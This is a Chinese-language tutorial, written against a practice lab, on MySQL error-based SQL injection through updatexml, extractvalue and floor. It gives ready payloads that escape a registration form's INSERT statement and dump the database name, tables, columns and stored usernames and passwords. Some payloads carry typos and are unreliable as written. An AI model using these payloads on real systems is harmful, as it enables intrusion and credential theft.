mysql漏洞函数xpath_SQL报错注入常用函数

注:本文仅供学习参考

SQL报错注入定义

SQL报错注入基于报错的信息获取，虽然数据库报错了，当我们已经获取到我们想要的数据。例如在增加删除修改处尝试(insert/update/delete)。

报错注入条件:

后台没有屏蔽数据库报错信息，在语法发生错误的时候会输出在前端。

常用四个报错函数

updatexml():是mysql对xml文档数据进行查询和修改的xpath函数

extractvalue()：是mysql对xml文档数据进行查询的xpath函数

floor():mysql中用来取整的函数

exp():此函数返回e(自然对数的底)指数X的幂值

updatexml函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值

语法：updatexml(xml_document,XPthstring,new_value)

第一个参数是字符串

第二个参数是指定字符串中的一个位置(Xpath格式的字符串)

第三个参数是将要替换成什么

Xpath定位必须是有效的，否则则会发生错误。我们就能利用这个特性爆出我们想要的数据

下面进入靶场尝试

注册就是往数据库里面加数据,insert。

在用户处输入单引号报错

我们可以猜测他后端的语句是

insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

我们可以在xxx出爆我们想要的数据

' or updatexml(0,concat(0x7e,select database()),1)'

需要单引号闭合前面和后面，使我们的语句逃逸出来

可以看到成功爆出数据库。我们来分析一下为什么会成功

当我们输入payload

' or updatexml(0,concat(0x7e,select database()),1)or'

他后端就被我们拼接为

insert into user(name,password,sex,phone,address1,address2) value('' or updatexml(1,concat(0x7e,database()),0) or '',

这样就会使我们的语句执行成功(后面爆数据就不一一展示了就在database()那里换就行)

extractvalue()函数的作用是从目标xml中返回包含所查询值的字符串

extractvalue (XML_document, XPath_string);

第一个参数：XML_document是String格式，为XML文档对象的名称，文中为doc

第二个参数：XPath_string(Xpath格式的字符串)

Xpath定位必须是有效的，否则则会发生错误

用法其实跟updatexml一样

构建payload

' or extracrvalue(0,concat(0x7e,database())) or '

但要注意xpath回显只有一位使用limit函数逐个爆，且最长为32位，超过32位爆不了

所以使用其他函数

floor()

floor是mysql的一个取整函数

payload:Select count(*),concat(**PAYLOAD**,floor(rand(0)*2))**x** from 表名 group by **x**;

爆库' and (select 2 from (select count(*),concat(database(),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '

爆表 ' and (select 2 from (select count(*),concat((select table_name from information_schema.tables where table_schema='pikachu' limit 3,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '

爆列 ' and (select 2 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '

爆内容 ' and (select 2 from (select count(*),concat((select concat(':',username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a)and '